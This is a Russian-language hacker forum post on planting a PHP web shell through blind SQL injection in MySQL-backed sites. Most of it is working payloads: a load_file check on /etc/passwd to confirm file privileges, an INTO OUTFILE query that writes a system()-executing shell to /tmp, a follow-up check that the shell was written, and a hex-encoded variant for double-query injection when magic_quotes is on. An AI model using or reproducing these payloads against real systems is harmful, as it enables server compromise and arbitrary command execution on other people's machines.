[небольшая заметка о залитии файлов в слепых инъекциях]
Посмотрев в интернете информацию по данному вопросу и ничего не найдя, решил поделиться с вами, дорогие друзья, своими мыслями...
Начнем с проверки прав, дабы убедиться, что у нас есть
file_priv:
Код:
id=1+and+1=if(load_file('/etc/passwd')+is+not+NULL,1,2)--+
Если все ровно и нет никаких ошибок, следующим запросом льем шелл:
Код:
1+and+if((select+"<?php system($_REQUEST[c]); ?>"+into+outfile+'/tmp/test.txt'),1,2)=1--
Можно также проверить залился ли файл, как мы проверяли наличие file_priv:
Код:
id=1+and+1=(if(load_file('/tmp/test.txt')+is+not+NULL,1,2)--+
Плюс вышеописанной конструкции заключается в том, что где бы инъект не был, в операторе
SELECT,
UPDATE,
INSERT и т.д., при присутствии
file_priv и отсутствии
magic_quotes, шелл будет литься.
[BONUS]
Продолжим мысль и придумаем еще одно применение данной конструкции....
Надеюсь все читали про способ заливки шелла через инъекции, даже с присутствием magic_quotes, посредством двойного запроса...
Так вот, чтобы залить шелл необходимо было ордер баем вычислять кол-во колонок, участвующих во втором(вложенном) запросе.
Использую же вышеописанную технику, можно сократить время подбора колонок(имхо, довольно существенно, потому что когда подбираешь кол-во, приходится каждый раз хексить внутренний запрос)
Хексим:
Код:
0x2D3120616E64206966282873656C65637420223C3F7068702073797374656D28245F524551554553545B635D293B203F3E2220696E746F206F757466696C6520272F746D702F746573742E74787427292C312C32293D312D2D20
(1 and if((select "<?php system($_REQUEST[c]); ?>" into outfile '/tmp/test.txt'),1,2)=1-- )
И подставляем сие чудо на место поля, учавствующего в двойном запросе...
